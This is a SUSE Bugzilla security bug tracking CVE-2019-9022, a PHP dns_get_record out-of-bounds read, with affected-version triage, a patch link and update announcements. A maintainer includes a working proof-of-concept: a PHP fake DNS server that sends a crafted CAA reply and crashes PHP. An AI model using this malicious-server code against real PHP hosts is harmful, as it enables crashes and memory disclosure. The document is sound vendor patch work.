Bugzilla – Bug 1126827
VUL-0: CVE-2019-9022: php5,php7,php53: dns_get_record misparses a DNS response, which can allow a hostile DNS server to cause PHP to misuse memcpy
Last modified: 2021-09-14 12:48:33 UTC
CVE-2019-9022 An issue was discovered in PHP 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x before 7.3.2. dns_get_record misparses a DNS response, which can allow a hostile DNS server to cause PHP to misuse memcpy, leading to read operations going past the buffer allocated for DNS data. This affects php_parserr in ext/standard/dns.c for DNS_CAA and DNS_ANY queries. References: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-9022 https://bugs.php.net/bug.php?id=77369
And again all php versions in all codestream seem affected: - SUSE:SLE-10-SP3:Update - SUSE:SLE-11:Update - SUSE:SLE-11-SP3:Update - SUSE:SLE-12:Update - SUSE:SLE-15:Update
BEFORE 15/php7 $ cat server.php <?php $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); socket_bind($socket, "0.0.0.0", 53); socket_set_nonblock($socket); while(1) { $buf = ""; @socket_recvfrom($socket, $buf, 4096, 0, $client_ip, $client_port); if (strlen($buf) <= 0) continue; $blo = bin2hex(substr($buf, 0, 2)) . "81000001000100000000016101610161000101000101610161016100010100010000012c00000000"; $blo = hex2bin($blo) ; socket_sendto($socket, $blo, strlen($blo), MSG_EOF, $client_ip, $client_port); } ?> $ php test.php& [1] 7702 $ php -r 'dns_get_record("a.a.a", DNS_CAA);' Segmentation fault (core dumped) $ kill 7702 $ For older distros the testcase does not work: $ php -r 'dns_get_record("a.a.a", 0x00002000);' PHP Warning: dns_get_record(): Type '8192' not supported in Command line code on line 1 $ PATCH http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b I think the important part of the patch is the second hunk (given the backtrace), and the hunk is not applicable for older ones, I consider only 15/php7 and 12/php72 affected. AFTER 15/php5 $ php -r 'dns_get_record("a.a.a", DNS_ANY);' PHP Warning: dns_get_record(): A temporary server error occurred. in Command line code on line 1 $
Will submit for 15/php7 and 12/php72.
devel:languages:php:php56/php5 is not affected.
I believe all fixed.
SUSE-SU-2019:1461-1: An update that solves 16 vulnerabilities and has two fixes is now available. Category: security (moderate) Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322 CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675 Sources used: SUSE Linux Enterprise Module for Web Scripting 15 (src): php7-7.2.5-4.32.1 SUSE Linux Enterprise Module for Packagehub Subpackages 15 (src): php7-7.2.5-4.32.1 SUSE Linux Enterprise Module for Open Buildservice Development Tools 15 (src): php7-7.2.5-4.32.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
openSUSE-SU-2019:1572-1: An update that solves 16 vulnerabilities and has two fixes is now available. Category: security (moderate) Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322 CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675 Sources used: openSUSE Leap 15.1 (src): php7-7.2.5-lp151.6.3.1
openSUSE-SU-2019:1573-1: An update that solves 16 vulnerabilities and has two fixes is now available. Category: security (moderate) Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322 CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675 Sources used: openSUSE Leap 15.0 (src): php7-7.2.5-lp150.2.19.1
Done
This is an autogenerated message for OBS integration: This bug (1126827) was mentioned in https://build.opensuse.org/request/show/802846 Factory / php7
This is an autogenerated message for OBS integration: This bug (1126827) was mentioned in https://build.opensuse.org/request/show/802978 Factory / php7
This is an autogenerated message for OBS integration: This bug (1126827) was mentioned in https://build.opensuse.org/request/show/804946 Factory / php7